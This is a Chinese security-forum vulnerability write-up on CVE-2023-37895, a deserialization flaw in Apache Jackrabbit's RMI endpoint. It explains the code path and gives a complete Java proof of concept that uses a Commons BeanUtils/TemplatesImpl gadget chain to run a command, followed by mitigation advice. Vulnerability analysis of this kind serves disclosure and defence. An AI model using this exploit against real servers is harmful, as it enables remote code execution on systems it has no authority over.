问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895)
漏洞分析
Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895)
漏洞分析 ==== Apache Jackrabbit是一个开源的内容仓库,它实现了JCR(Java Contents Repository) API规范。 JCR是一个用于内容仓库的Java API,它为内容仓库定义了一套标准接口,以便应用程序可以通过这些标准接口访问不同的内容仓库实现。 Jackrabbit通过这些JCR接口提供了一系列内容仓库功能,比如层次结构节点管理、版本控制、 Observation、查询、锁定、事务等。它广泛用于JavaEE应用中需要内容仓库功能的场景。 Jackrabbit的/rmi路径下提供了RMI服务,这可以使远程客户端通过RMI协议访问Jackrabbit服务器端的内容仓库。客户端可以获取 Repository 对象后,就可以通过JCR API对内容仓库进行操作。 通过web.xml得到`/rmi`的Servlet为`org.apache.jackrabbit.servlet.remote.RemoteBindingServlet` ![image-20230727155734831](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-e8a554c2574c480b5dd21843e80477faa2903528.png) ![image-20230727160138191](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-16af424d23032d4acf40932662ec57bbe78df307.png) 这里直接通过`RemoteBindingServlet` 的 `getRemoteRepository()` 方法获取Repository对象,然后转化为Stub代理对象返回给Response。 跟进看看具体逻辑 ![image-20230727160329701](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-e5581a86fd7cd78b62c510c125ca2b92a8abfb1c.png) 这里调用 `getRemoteAdapterFactory()` 获取 `RemoteAdapterFactory` 实例,默认是`ServerAdapterFactory` 然后调用 `ServerAdapterFactory` 的 `getRemoteRepository()` 方法获取Repository对象 ![image-20230727160536822](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-c19a19053815f9f58f3a506d3797bf407ac2512b.png) 当客户端获取到Repository对象后,可以调用Repository的login函数 ![image-20230727160726345](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-7a85fe2c077b9dd3c8051d6a3b00efd9f1ed837c.png) 跟进到实现类 ![image-20230727160806040](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-10c2ba1599289dfadfadfda6ae1811f854c73ad1.png) 继续跟进 ![image-20230727160908206](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-50160fd4ef021c22a6997e4b950575c0a24324d0.png) 最后通过RMI将客户端的Credentials类传输到了服务端,其中用的RMI底层的JRMP协议,将客户端序列化后,将序列化数据传输到服务端后再反序列化。如果我们传输的一个恶意Credentials对象,则会执行相关的一些恶意代码 ![image-20230727160938886](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-6f24b2f599b0778122a178d50aaffb61aac8a9f7.png) 该项目包含了Commons BeanUtils组件,可利用Commons BeanUtils链构造恶意Credentials对象 ![image-20230727161306272](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-3f8adb627f3675bf582798180ffbf954df6fd7d3.png) 而Credentials是一个继承`Serializable`的空接口 ![image-20230727161402220](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-7ec90ea150b319e2d349dabe0c6675800967fe77.png) 我们看到4个实现之一的`SimpleCredentials`类,可以用这个类来封装Commons BeanUtils攻击链 ![image-20230727161437617](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-d5d06cee44a04e415c734d57e514831fbdf8a8bc.png) SimpleCredentials类中的attributes属性是一个Map: private Map<String,Object> attributes \\= new HashMap<String,Object>(); 它被声明为可以存储任意Object类型对象。我们通过setAttribute()方法将构造的恶意PriorityQueue对象存放到这个attributes Map中 SimpleCredentials exp \\= new SimpleCredentials("admin","admin".toCharArray()); exp.setAttribute("admin",payload); 当反序列化包含恶意PriorityQueue的SimpleCredentials对象时,会递归反序列化它的所有属性,其中就包含了attributes这个Map,反序列化attributes时,也会反序列化其中存放的PriorityQueue对象,这样就会触发PriorityQueue对象中的反序列化逻辑,实现RCE 漏洞复现 ==== POC: package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import java.lang.reflect.Field; import java.util.PriorityQueue; import org.apache.jackrabbit.rmi.repository.URLRemoteRepository; import javax.jcr.Repository; import javax.jcr.SimpleCredentials; import static org.example.TemplatesImpl.getTemplatesImpl; public class Exp { public static void main(String\[\] args) throws Exception { byte\[\] code \\= getTemplatesImpl("open -a calculator"); byte\[\]\[\] codes \\= {code}; TemplatesImpl obj \\= new TemplatesImpl(); setFieldValue(obj, "\_bytecodes",codes); setFieldValue(obj, "\_name", "aaaa"); setFieldValue(obj, "\_tfactory", new TransformerFactoryImpl()); BeanComparator comparator \\= new BeanComparator(null,String.CASE\_INSENSITIVE\_ORDER); final PriorityQueue<Object> payload \\= new PriorityQueue<Object>(2, comparator); payload.add("1"); payload.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(payload, "queue", new Object\[\]{obj, obj}); SimpleCredentials exp \\= new SimpleCredentials("admin","admin".toCharArray()); exp.setAttribute("admin",payload); Repository repository \\= new URLRemoteRepository("<http://localhost:8080/rmi>"); repository.login(exp); } public static void setFieldValue(Object target, String name, Object value) throws Exception { Class c \\= target.getClass(); Field field \\= c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } } TemplatesImpl类 package org.example; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; public class TemplatesImpl { public static byte\[\] getTemplatesImpl(String cmd) { try { ClassPool pool \\= ClassPool.getDefault(); CtClass ctClass \\= pool.makeClass("Evil"); CtClass superClass \\= pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor \\= ctClass.makeClassInitializer(); constructor.setBody(" try {\\n" + " Runtime.getRuntime().exec(\\"" + cmd + "\\");\\n" + " } catch (Exception ignored) {\\n" + " }"); byte\[\] bytes \\= ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte\[\]{}; } } } 运行POC: ![image-20230731114549831](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-08806a95a1ae6ef1a82bb5efd079880e02bfeae4.png) 处置建议 ==== - 使用网络ACL限制访问 JackRabbit 的来源,而且建议如非必要,不要将 JackRabbit 暴露在互联网上 - 官方补丁链接:<https://github.com/apache/jackrabbit/tags>
发表于 2024-01-17 09:00:02
阅读 ( 31992 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
jweny
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!